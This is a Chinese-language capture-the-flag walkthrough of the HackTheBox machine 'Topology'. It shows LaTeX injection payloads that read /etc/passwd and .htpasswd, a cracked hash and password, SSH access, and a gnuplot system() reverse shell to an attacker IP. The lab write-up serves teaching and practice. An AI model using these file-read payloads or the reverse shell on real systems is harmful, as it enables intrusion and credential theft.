HackTheBox-Machines--Topology


Topology 测试过程

1 端口扫描


nmap -sC -sV 10.129.23.12

在这里插入图片描述

2 漏洞探测


    端口扫描发现22和80端口,访问80端口,发现LaTeX方程生成器,访问该按钮发现子域: latex.topology.htb

在这里插入图片描述

在这里插入图片描述

    将域名添加到hosts文件中

echo "10.129.23.12 topology.htb latex.topology.htb" | sudo tee -a /etc/hosts

    1.使用搜索引擎查找LaTeX相关漏洞
在这里插入图片描述

   查找到 LaTex 对用户输入进行解析生成PNG图像,存在注入漏洞。

    2.LaTeX注入漏洞测试 读取 /etc/passwd

# payload 单行输出
\input{/etc/passwd}
#使用 \ $ 对payload进行包装 
$\input{/etc/passwd}$

在这里插入图片描述

在这里插入图片描述

#payload 多行输出
$\lstinputlisting{/etc/passwd}$

在这里插入图片描述

   3.读取Apache默认配置文件,获取到dev、stats等子域

$\lstinputlisting{/etc/apache2/sites-available/000-default.conf}$

   发现默认配置中存在dev、stats等子域,将子域添加到 hosts文件

echo "10.129.23.12 dev.topology.htb stats.topology.htb" | sudo tee -a /etc/hosts

在这里插入图片描述

在这里插入图片描述

   4.读取.htaccess文件,在文件内容中发现/.htpasswd文件

$\lstinputlisting{/var/www/dev/.htaccess}$

在这里插入图片描述

   5.读取/var/www/dev/.htpasswd,发现用户名及hash密码

$\lstinputlisting{/var/www/dev/.htpasswd}$

在这里插入图片描述

   6.对hash密码进行破解,获取到密码 calculus20

echo 'vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0' > hash.txt
john --wordlist=rockyou.txt hash.txt

   7.网站开启22端口,使用 vdaisley:calculus20

ssh vdaisley@topology.htb

在这里插入图片描述

在这里插入图片描述

3 权限提升


   1.本地开启web服务

python3 -m http.server 8000

   2.使用wget上传pspy pspy工具在非root权限下可以监控linux进程

   pspy工具地址:https://github.com/DominicBreuker/pspy?tab=readme-ov-file

wget http://10.10.14.53:8000/pspy64
chmod +x ./pspy64
./pspy64

在这里插入图片描述
在这里插入图片描述

   3.在pspy监控下,发现/opt/gnuplot/getdata.sh脚本

/bin/sh /opt/gnuplot/getdata.sh
/bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;

   pspy工具执行结果显示,通过find命令在 /opt/gnuplot/ 目录下,执行*.plt脚本,如果在*.plt可以写入反弹shell脚本,即可通过执行*.plt文件获取权限。

在这里插入图片描述

   4.在*.plt文件中写入反弹shell脚本

   查看gnuplot相关命令文档,发现system()命令可进行命令执行。gnuplot命令文档地址:http://gnuplot.info/docs_5.5/loc18483.html

在这里插入图片描述

#启动监听器
ncat -lnvp 4444
# 新建 shell.plt脚本文件
vim /opt/gnuplot/shell.plt

在这里插入图片描述

# 反弹shell payload
shell = system("/bin/bash -c '/bin/sh -i >& /dev/tcp/10.10.14.53/4444 0>&1'")
print shell

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值